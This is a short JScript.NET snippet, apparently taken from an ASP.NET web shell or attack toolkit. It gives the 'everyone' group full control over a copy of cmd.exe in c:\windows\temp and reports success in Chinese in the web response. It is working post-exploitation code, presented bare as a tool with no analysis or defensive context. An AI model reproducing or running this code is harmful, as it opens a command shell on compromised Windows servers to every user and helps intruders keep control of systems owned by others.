try

{

var strPath:String = "c:\\windows\\temp\\cmd.exe", strUser:String = "everyone";

var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath);

var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl();

dirsecurity.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule(strUser,

    System.Security.AccessControl.FileSystemRights.FullControl,

    System.Security.AccessControl.AccessControlType.Allow));

dirinfo.SetAccessControl(dirsecurity);

Response.Write(strPath+"\t权限添加成功!");

}catch(x){Response.Write(x.Message);}